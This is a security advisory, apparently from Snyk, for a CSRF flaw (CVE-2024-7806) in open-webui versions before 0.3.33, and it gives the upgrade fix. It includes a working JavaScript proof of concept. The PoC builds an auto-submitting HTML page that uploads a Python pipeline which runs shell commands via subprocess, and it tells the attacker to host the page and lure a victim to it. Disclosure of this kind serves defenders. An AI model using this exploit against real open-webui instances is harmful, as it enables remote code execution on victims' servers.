Cross-site Request Forgery (CSRF) Affecting open-webui package, versions [,0.3.33)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.08% (21st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-OPENWEBUI-9684666
  • published10 Apr 2025
  • disclosed20 Mar 2025
  • creditTsubasa Irisawa

Introduced: 20 Mar 2025

NewCVE-2024-7806  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade open-webui to version 0.3.33 or higher.

Overview

open-webui is an Open WebUI

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) through the authentication process using cookies with the SameSite attribute set to lax. An attacker can execute arbitrary code with the victim's privileges by crafting a malicious HTML page that modifies the Python code of an existing pipeline when accessed by the victim.

PoC

(async () => {
    // Fetch the model data from the server
    const model = await fetch("http://localhost:3000/api/models", { credentials: "include" }).then(res => res.json());

    const rceCommand = 'id'; // Remote command to be executed
    const pipelineId = model.data.find(data => data?.pipeline?.type === "pipe").id; // Find the pipeline ID
    const csrfHtml = `
    <html>
    <body>
        <form id="uploadForm" action="http://localhost:3000/api/pipelines/upload" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="urlIdx" value="0">
            <input type="file" name="file" id="fileInput">
            <input type="submit">
        </form>

        <script>
            const python = \`
from typing import List, Union, Generator, Iterator
from pydantic import BaseModel
import subprocess

class Pipeline:
    class Valves(BaseModel):
        pass

    def __init__(self):
        self.name = "Pipeline Example"
        pass

    async def on_startup(self):
        pass

    async def on_shutdown(self):
        pass

    async def on_valves_updated(self):
        pass

    async def inlet(self, body: dict, user: dict) -> dict:
        return body

    async def outlet(self, body: dict, user: dict) -> dict:
        return body

    def pipe(
        self, user_message: str, model_id: str, messages: List[dict], body: dict
    ) -> Union[str, Generator, Iterator]:
        result = subprocess.run(
            "${rceCommand}", shell = True, capture_output = True, text = True
        )
        return result.stdout
    \`;
            const file = new File([new Blob([python])], \`${pipelineId}.py\`);

            const dataTransfer = new DataTransfer();
            dataTransfer.items.add(file);

            const fileInput = document.getElementById('fileInput');
            fileInput.files = dataTransfer.files;

            document.getElementById('uploadForm').submit();
        </script>
    </body>
    </html>
    `;

    // Alert the user to host the following HTML on a web server and have the victim open the link
    alert("Host the following HTML on a web server. Then, send that link to the victim.\n" + csrfHtml);
    alert("Wait for the victim to open the link");
    alert("Specify the pipeline and start any chat to receive the command execution result.");
})();

CVSS Base Scores

version 4.0
version 3.1